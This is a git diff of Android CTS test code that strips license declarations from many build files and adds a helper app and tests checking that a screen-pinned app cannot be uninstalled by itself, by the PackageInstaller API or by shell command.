name: "CtsNetSecConfigDownloadManagerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
index 84753b6..d5599c0 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-invalid-pin/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigInvalidPinTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
index cb33156..5ff160c 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-nested-domains/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigNestedDomainConfigTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
index 3089b32..1e553ab 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-resourcesrc/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNetSecConfigResourcesSrcTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/neuralnetworks/Android.mk b/tests/tests/neuralnetworks/Android.mk
index 019672c..9e285b5 100644
--- a/tests/tests/neuralnetworks/Android.mk
+++ b/tests/tests/neuralnetworks/Android.mk
@@ -20,8 +20,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsNNAPITestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/neuralnetworks/tflite_delegate/Android.mk b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
index 0fbc8e1..11f23c4 100644
--- a/tests/tests/neuralnetworks/tflite_delegate/Android.mk
+++ b/tests/tests/neuralnetworks/tflite_delegate/Android.mk
@@ -17,8 +17,6 @@
LOCAL_PATH:= external/tensorflow/
include $(CLEAR_VARS)
LOCAL_MODULE := CtsTfliteNnapiDelegateTests_static
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_SRC_FILES := \
tensorflow/lite/delegates/nnapi/nnapi_delegate_test.cc \
tensorflow/lite/kernels/test_util.cc \
@@ -56,8 +54,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := CtsTfliteNnapiDelegateTestCases
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
LOCAL_MULTILIB := both
LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nfc/Android.bp b/tests/tests/nfc/Android.bp
index 6310fec..077ee09 100644
--- a/tests/tests/nfc/Android.bp
+++ b/tests/tests/nfc/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNfcTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
index affcee1..9ca0411 100644
--- a/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy20/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLegacyNotification20TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
index 9f48a60..4aca949 100644
--- a/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy27/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLegacyNotification27TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
index 6a52f46..fb8375e 100644
--- a/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy28/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLegacyNotification28TestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
index ba4b265..40e993f 100644
--- a/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
+++ b/tests/tests/notificationlegacy/notificationlegacy29/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsLegacyNotification29TestCases",
defaults: ["cts_defaults"],
@@ -34,7 +30,7 @@
test_suites: [
"cts",
"general-tests",
- "mts"
+ "mts-extservices"
],
sdk_version: "test_current",
target_sdk_version: "29",
diff --git a/tests/tests/opengl/Android.bp b/tests/tests/opengl/Android.bp
index 4ad0e55..6737c30 100644
--- a/tests/tests/opengl/Android.bp
+++ b/tests/tests/opengl/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_test_helper_library {
name: "cts-opengl-util",
diff --git a/tests/tests/opengl/libopengltest/Android.bp b/tests/tests/opengl/libopengltest/Android.bp
index aa2edcf..b7cf454 100644
--- a/tests/tests/opengl/libopengltest/Android.bp
+++ b/tests/tests/opengl/libopengltest/Android.bp
@@ -16,10 +16,6 @@
// This is the shared library included by the JNI test app.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libopengltest_jni",
srcs: [
diff --git a/tests/tests/openglperf/Android.bp b/tests/tests/openglperf/Android.bp
index da7eaa7..1da66cd 100644
--- a/tests/tests/openglperf/Android.bp
+++ b/tests/tests/openglperf/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsOpenGlPerfTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/openglperf/jni/Android.bp b/tests/tests/openglperf/jni/Android.bp
index a27b92b..2b8936c 100644
--- a/tests/tests/openglperf/jni/Android.bp
+++ b/tests/tests/openglperf/jni/Android.bp
@@ -13,10 +13,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_test_library {
name: "libctsopenglperf_jni",
srcs: ["OpenGlPerfNativeJni.cpp"],
diff --git a/tests/tests/os/Android.bp b/tests/tests/os/Android.bp
index b5272b1..c3592a7 100644
--- a/tests/tests/os/Android.bp
+++ b/tests/tests/os/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsOsTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 582419f..043578a2 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -19,8 +19,6 @@
include $(CLEAR_VARS)
LOCAL_MODULE := cts-platform-version-check
-LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
-LOCAL_LICENSE_CONDITIONS := notice
LOCAL_MODULE_CLASS := ETC
LOCAL_MODULE_TAGS := optional
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
diff --git a/tests/tests/os/AutoRevokeDummyApp/Android.bp b/tests/tests/os/AutoRevokeDummyApp/Android.bp
index 1436586..d4abfc0 100644
--- a/tests/tests/os/AutoRevokeDummyApp/Android.bp
+++ b/tests/tests/os/AutoRevokeDummyApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAutoRevokeDummyApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
index 35f3a81..254f9eb 100644
--- a/tests/tests/os/AutoRevokePreRApp/Android.bp
+++ b/tests/tests/os/AutoRevokePreRApp/Android.bp
@@ -14,10 +14,6 @@
// limitations under the License.
//
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsAutoRevokePreRApp",
defaults: ["cts_defaults"],
diff --git a/tests/tests/os/jni/Android.bp b/tests/tests/os/jni/Android.bp
index c4508c2..616fe2e 100644
--- a/tests/tests/os/jni/Android.bp
+++ b/tests/tests/os/jni/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
cc_defaults {
name: "libctsos_jni_defaults",
diff --git a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
index 40f85c4..465d614 100644
--- a/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
+++ b/tests/tests/packageinstaller/adminpackageinstaller/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAdminPackageInstallerTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/packageinstaller/atomicinstall/Android.bp b/tests/tests/packageinstaller/atomicinstall/Android.bp
index 00dc48e..f6c767f 100644
--- a/tests/tests/packageinstaller/atomicinstall/Android.bp
+++ b/tests/tests/packageinstaller/atomicinstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsAtomicInstallTestCases",
diff --git a/tests/tests/packageinstaller/emptytestapp/Android.bp b/tests/tests/packageinstaller/emptytestapp/Android.bp
index 187ec9d..ec85832 100644
--- a/tests/tests/packageinstaller/emptytestapp/Android.bp
+++ b/tests/tests/packageinstaller/emptytestapp/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test_helper_app {
name: "CtsEmptyTestApp",
defaults: ["cts_defaults"],
@@ -26,5 +22,6 @@
"arcts",
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/packageinstaller/install/Android.bp b/tests/tests/packageinstaller/install/Android.bp
index 8444e02..fc0bf63 100644
--- a/tests/tests/packageinstaller/install/Android.bp
+++ b/tests/tests/packageinstaller/install/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageInstallTestCases",
sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install_appop_default/Android.bp b/tests/tests/packageinstaller/install_appop_default/Android.bp
index 7808af1..1c31dcf 100644
--- a/tests/tests/packageinstaller/install_appop_default/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_default/Android.bp
@@ -11,10 +11,6 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageInstallAppOpDefaultTestCases",
sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/install_appop_denied/Android.bp b/tests/tests/packageinstaller/install_appop_denied/Android.bp
index ee76790..fee4277 100644
--- a/tests/tests/packageinstaller/install_appop_denied/Android.bp
+++ b/tests/tests/packageinstaller/install_appop_denied/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageInstallAppOpDeniedTestCases",
sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission/Android.bp b/tests/tests/packageinstaller/nopermission/Android.bp
index 24747d1..b3a57a4 100644
--- a/tests/tests/packageinstaller/nopermission/Android.bp
+++ b/tests/tests/packageinstaller/nopermission/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
java_library_static {
name: "CtsNoPermissionTestCasesBase",
sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/nopermission25/Android.bp b/tests/tests/packageinstaller/nopermission25/Android.bp
index 581c9b4..5a1921c 100644
--- a/tests/tests/packageinstaller/nopermission25/Android.bp
+++ b/tests/tests/packageinstaller/nopermission25/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsNoPermissionTestCases25",
sdk_version: "test_current",
diff --git a/tests/tests/packageinstaller/tapjacking/Android.bp b/tests/tests/packageinstaller/tapjacking/Android.bp
index 8035d6d..67a1af6 100644
--- a/tests/tests/packageinstaller/tapjacking/Android.bp
+++ b/tests/tests/packageinstaller/tapjacking/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageInstallerTapjackingTestCases",
defaults: ["cts_defaults"],
diff --git a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
similarity index 60%
copy from tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
copy to tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
index b8fbdea..a5e2fd3 100644
--- a/tests/tests/permission3/PermissionEscalationAppNonRuntime/Android.bp
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/Android.bp
@@ -1,5 +1,4 @@
-//
-// Copyright (C) 2016 The Android Open Source Project
+// Copyright (C) 2020 The Android Open Source Project
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
@@ -12,13 +11,24 @@
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
-//
-
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
android_test_helper_app {
- name: "CtsPermissionEscalationAppNonRuntime",
- certificate: ":cts-testkey2",
+ name: "CtsSelfUninstallingTestApp",
+ defaults: ["cts_defaults"],
+
+ sdk_version: "current",
+
+ srcs: ["src/**/*.java"],
+
+ static_libs: [
+ "androidx.core_core",
+ ],
+
+ // tag this module as a cts test artifact
+ test_suites: [
+ "arcts",
+ "cts",
+ "vts10",
+ "general-tests",
+ ],
}
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
new file mode 100644
index 0000000..87dc715
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.packageinstaller.selfuninstalling.cts" >
+
+ <uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
+
+ <application android:label="Self Uninstalling Test App">
+ <activity android:name=".SelfUninstallActivity"
+ android:exported="true" />
+ </application>
+
+</manifest>
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
new file mode 100644
index 0000000..ac0fb40
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/res/layout/self_uninstalling_activity.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+
+<FrameLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:layout_width="fill_parent"
+ android:layout_height="fill_parent" >
+ <TextView
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:text="Pin me!" />
+</FrameLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
new file mode 100644
index 0000000..df5b1d4
--- /dev/null
+++ b/tests/tests/packageinstaller/test-apps/SelfUninstallingTestApp/src/android/packageinstaller/selfuninstalling/cts/SelfUninstallActivity.java
@@ -0,0 +1,33 @@
+package android.packageinstaller.selfuninstalling.cts;
+
+import android.app.Activity;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.net.Uri;
+import android.os.Bundle;
+import android.view.View;
+import android.widget.Button;
+
+import androidx.annotation.Nullable;
+
+public class SelfUninstallActivity extends Activity {
+
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+
+ @Override
+ protected void onCreate(@Nullable Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.self_uninstalling_activity);
+ registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ Intent i = new Intent(Intent.ACTION_UNINSTALL_PACKAGE).setData(
+ Uri.fromParts("package", getPackageName(), null));
+ startActivity(i);
+ }
+ }, new IntentFilter(ACTION_SELF_UNINSTALL));
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/Android.bp b/tests/tests/packageinstaller/uninstall/Android.bp
index c17f056..4ee4b99 100644
--- a/tests/tests/packageinstaller/uninstall/Android.bp
+++ b/tests/tests/packageinstaller/uninstall/Android.bp
@@ -12,10 +12,6 @@
// See the License for the specific language governing permissions and
// limitations under the License.
-package {
- default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
android_test {
name: "CtsPackageUninstallTestCases",
defaults: ["cts_defaults"],
@@ -24,12 +20,15 @@
"androidx.test.rules",
"compatibility-device-util-axt",
"platform-test-annotations",
+ "cts-wm-util",
],
+ resource_dirs: ["res"],
srcs: ["src/**/*.java"],
sdk_version: "test_current",
// Tag this module as a cts test artifact
test_suites: [
"cts",
"general-tests",
+ "sts",
],
}
diff --git a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
index cfae7b9..a86f03a 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidManifest.xml
@@ -17,6 +17,7 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
package="android.packageinstaller.uninstall.cts" >
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.REQUEST_DELETE_PACKAGES" />
<application android:label="Cts Package Uninstaller Tests">
diff --git a/tests/tests/packageinstaller/uninstall/AndroidTest.xml b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
index 9fc0a88..dd98214 100644
--- a/tests/tests/packageinstaller/uninstall/AndroidTest.xml
+++ b/tests/tests/packageinstaller/uninstall/AndroidTest.xml
@@ -31,4 +31,14 @@
<option name="package" value="android.packageinstaller.uninstall.cts" />
<option name="runtime-hint" value="1m" />
</test>
+ <!-- Create place to store apks -->
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="mkdir -p /data/local/tmp/cts/uninstall" />
+ <option name="teardown-command" value="rm -rf /data/local/tmp/cts"/>
+ </target_preparer>
+
+ <!-- Load additional APKs onto device -->
+ <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
+ <option name="push" value="CtsSelfUninstallingTestApp.apk->/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk" />
+ </target_preparer>
</configuration>
diff --git a/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
new file mode 100644
index 0000000..869bf14
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/res/layout/overlay_activity.xml
@@ -0,0 +1,30 @@
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+ android:orientation="vertical"
+ android:layout_width="match_parent"
+ android:layout_height="match_parent"
+ android:padding="8dp"
+ android:gravity="center">
+
+ <TextView android:id="@+id/overlay_description"
+ android:layout_width="wrap_content"
+ android:layout_height="wrap_content"
+ android:textColor="@android:color/black"
+ android:background="@android:color/white"
+ android:text="This is an overlay" />
+</LinearLayout>
\ No newline at end of file
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
new file mode 100644
index 0000000..84c2696
--- /dev/null
+++ b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallPinnedTest.java
@@ -0,0 +1,164 @@
+/*
+ * Copyright (C) 2020 Google Inc.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.packageinstaller.uninstall.cts;
+
+import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
+
+import static com.android.compatibility.common.util.SystemUtil.eventually;
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.UiAutomatorUtils.waitFindObject;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.app.ActivityTaskManager;
+import android.app.PendingIntent;
+import android.content.BroadcastReceiver;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.content.pm.PackageInstaller;
+import android.content.pm.PackageManager;
+import android.server.wm.WindowManagerStateHelper;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.AppOpsUtils;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.io.IOException;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.TimeoutException;
+
+public class UninstallPinnedTest {
+
+ private static final String APK =
+ "/data/local/tmp/cts/uninstall/CtsSelfUninstallingTestApp.apk";
+ private static final String TEST_PKG_NAME = "android.packageinstaller.selfuninstalling.cts";
+ private static final String TEST_ACTIVITY_NAME = TEST_PKG_NAME + ".SelfUninstallActivity";
+ private static final String ACTION_SELF_UNINSTALL =
+ "android.packageinstaller.selfuninstalling.cts.action.SELF_UNINSTALL";
+ private static final ComponentName COMPONENT = new ComponentName(TEST_PKG_NAME, TEST_ACTIVITY_NAME);
+ public static final String CALLBACK_ACTION =
+ "android.packageinstaller.uninstall.cts.action.UNINSTALL_PINNED_CALLBACK";
+
+ private WindowManagerStateHelper mWmState = new WindowManagerStateHelper();
+ private Context mContext;
+ private UiDevice mUiDevice;
+ private ActivityTaskManager mActivityTaskManager;
+
+ @Before
+ public void setup() throws Exception {
+ mContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ mActivityTaskManager = mContext.getSystemService(ActivityTaskManager.class);
+
+ // Unblock UI
+ mUiDevice = UiDevice.getInstance(InstrumentationRegistry.getInstrumentation());
+ if (!mUiDevice.isScreenOn()) {
+ mUiDevice.wakeUp();
+ }
+ mUiDevice.executeShellCommand("wm dismiss-keyguard");
+ AppOpsUtils.reset(mContext.getPackageName());
+
+ runShellCommand("pm install -r --force-queryable " + APK);
+
+ Intent i = new Intent()
+ .setComponent(COMPONENT)
+ .addFlags(FLAG_ACTIVITY_NEW_TASK);
+ mContext.startActivity(i);
+
+ pinActivity(COMPONENT);
+ }
+
+ @Test
+ public void testAppCantUninstallItself() throws Exception {
+ mUiDevice.waitForIdle();
+ eventually(() -> {
+ mContext.sendBroadcast(new Intent(ACTION_SELF_UNINSTALL));
+ waitFindObject(By.text("OK")).click();
+ }, 60000);
+
+ mUiDevice.waitForIdle();
+
+ Thread.sleep(5000);
+
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallAppDirectly() {
+ CompletableFuture<Integer> statusFuture = new CompletableFuture<>();
+ mContext.registerReceiver(new BroadcastReceiver() {
+ @Override
+ public void onReceive(Context context, Intent intent) {
+ statusFuture.complete(
+ intent.getIntExtra(PackageInstaller.EXTRA_STATUS, Integer.MAX_VALUE));
+ }
+ }, new IntentFilter(CALLBACK_ACTION));
+
+ runWithShellPermissionIdentity(() -> {
+ mContext.getPackageManager().getPackageInstaller().uninstall(TEST_PKG_NAME,
+ PendingIntent.getBroadcast(mContext, 1,
+ new Intent(CALLBACK_ACTION),
+ 0).getIntentSender());
+ });
+
+ int status = statusFuture.join();
+ assertEquals("Wrong code received", PackageInstaller.STATUS_FAILURE_BLOCKED, status);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @Test
+ public void testCantUninstallWithShell() throws Exception {
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ assertTrue("Package was uninstalled.", isInstalled());
+ }
+
+ @After
+ public void unpinAndUninstall() throws IOException {
+ runWithShellPermissionIdentity(() -> mActivityTaskManager.stopSystemLockTaskMode());
+ mUiDevice.executeShellCommand("pm uninstall " + TEST_PKG_NAME);
+ }
+
+ private void pinActivity(ComponentName component) {
+ mWmState.computeState();
+
+ int stackId = mWmState.getStackIdByActivity(component);
+
+ runWithShellPermissionIdentity(() -> {
+ mActivityTaskManager.startSystemLockTaskMode(
+ stackId);
+ });
+ }
+
+ private boolean isInstalled() {
+ try {
+ mContext.getPackageManager().getPackageInfo(TEST_PKG_NAME, 0);
+ return true;
+ } catch (PackageManager.NameNotFoundException e) {
+ return false;
+ }
+ }
+}
diff --git a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java b/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
index ca3cb3e..ce7878f 100644
--- a/tests/tests/packageinstaller/uninstall/src/android/packageinstaller/uninstall/cts/UninstallTest.java
